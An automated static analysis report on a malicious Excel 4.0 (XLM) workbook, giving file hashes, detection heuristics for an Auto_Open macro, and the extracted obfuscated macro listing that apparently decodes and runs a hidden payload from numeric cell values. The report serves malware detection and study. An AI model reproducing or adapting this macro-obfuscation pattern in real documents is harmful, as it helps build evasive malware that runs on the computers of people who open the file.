Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9b29bc995b02d52f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:48 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: a82af30ac56a90aa08a3141f4d27c874 SHA-1: 845f8379f99a53201df70068bad44479b8137777 SHA-256: 9b29bc995b02d52f029a10e720739717d26cea66b0ce00e83551be2c16eb075c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6651 bytes
SHA-256: b17301d59297484ad039ee65099ef2bb2d699ea9ecd7330582323d9395fd9438
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sOkUMa
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I154 
' 0018     20 LABEL : Cell Value, String Constant - blHiW len=0 
' 0018     24 LABEL : Cell Value, String Constant - fuYOkOIss len=0 
' 0018     23 LABEL : Cell Value, String Constant - gtAIMDIF len=0 
' 0018     22 LABEL : Cell Value, String Constant - iXBmnjT len=0 
' 0018     20 LABEL : Cell Value, String Constant - IxrMJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - ltHig len=0 
' 0018     25 LABEL : Cell Value, String Constant - lUfZYqByKa len=0 
' 0018     21 LABEL : Cell Value, String Constant - OjHAok len=0 
' 0018     21 LABEL : Cell Value, String Constant - oWCwZB len=0 
' 0018     27 LABEL : Cell Value, String Constant - pEbCKMEFYSTz len=0 
' 0018     20 LABEL : Cell Value, String Constant - qPXxs len=0 
' 0018     27 LABEL : Cell Value, String Constant - RhWIsZnAgCAM len=0 
' 0018     27 LABEL : Cell Value, String Constant - RpTzpNiweivC len=0 
' 0018     20 LABEL : Cell Value, String Constant - sLdjs len=0 
' 0018     24 LABEL : Cell Value, String Constant - TBxyisaDj len=0 
' 0018     25 LABEL : Cell Value, String Constant - ubgLKmtFpk len=0 
' 0018     23 LABEL : Cell Value, String Constant - ujqaKOvT len=0 
' 0018     26 LABEL : Cell Value, String Constant - ulYNKiTJIFq len=0 
' 0018     23 LABEL : Cell Value, String Constant - WAXdnUeM len=0 
' 0018     27 LABEL : Cell Value, String Constant - wgDOcOslLLVQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sOkUMa,I63,"SET.NAME("IxrMJ",0+VALUE("0"))",""
'  sOkUMa,I68,"SET.NAME("OjHAok",IxrMJ)",""
'  sOkUMa,I71,"SET.NAME("wgDOcOslLLVQ",IxrMJ)",""
'  sOkUMa,I73,"SET.NAME("ujqaKOvT",COUNTA(pEbCKMEFYSTz))",""
'  sOkUMa,I76,"SET.NAME("lUfZYqByKa",COUNTA(iXBmnjT))",""
'  sOkUMa,Q76,"",522.00000000000000000000
'  sOkUMa,Q77,"",-244.00000000000000000000
'  sOkUMa,Q78,"",870.00000000000000000000
'  sOkUMa,I79,[],""
'  sOkUMa,Q79,"",693.00000000000000000000
'  sOkUMa,Q80,"",837.00000000000000000000
'  sOkUMa,Q81,"",-271.00000000000000000000
'  sOkUMa,I84,"SET.NAME("WAXdnUeM","")",""
'  sOkUMa,I87,"OjHAok",""
'  sOkUMa,I91,"SET.NAME("ulYNKiTJIFq",HLOOKUP("*",pEbCKMEFYSTz,OjHAok,FALSE))",""
'  sOkUMa,I96,"ltHig",""
'  sOkUMa,I99,"SET.NAME("fuYOkOIss",IxrMJ)",""
'  sOkUMa,I104,[],""
'  sOkUMa,I106,"fuYOkOIss",""
'  sOkUMa,I110,"oWCwZB",""
'  sOkUMa,I112,"sLdjs",""
'  sOkUMa,I114,"RpTzpNiweivC",""
'  sOkUMa,I118,"SET.NAME("TBxyisaDj",VALUE(HLOOKUP("*",iXBmnjT,RpTzpNiweivC,FALSE)))",""
'  sOkUMa,I122,"gtAIMDIF",""
'  sOkUMa,I126,"WAXdnUeM",""
'  sOkUMa,I129,"wgDOcOslLLVQ",""
'  sOkUMa,I131,NEXT(),""
'  sOkUMa,I134,"blHiW",""
'  sOkUMa,I138,[],""
'  sOkUMa,I141,"qPXxs",""
'  sOkUMa,I144,NEXT(),""
'  sOkUMa,I149,RETURN(),""
'  sOkUMa,I183,"SET.NAME("ubgLKmtFpk",I63)",""
'  sOkUMa,I186,"pEbCKMEFYSTz",""
'  sOkUMa,I191,"SET.NAME("iXBmnjT",R89C15)",""
'  sOkUMa,I196,"SET.NAME("qPXxs",202)",""
'  sOkUMa,I198,"SET.NAME("RhWIsZnAgCAM",9)",""
'  sOkUMa,I201,ubgLKmtFpk(),""
'  sOkUMa,I202,HALT(),""

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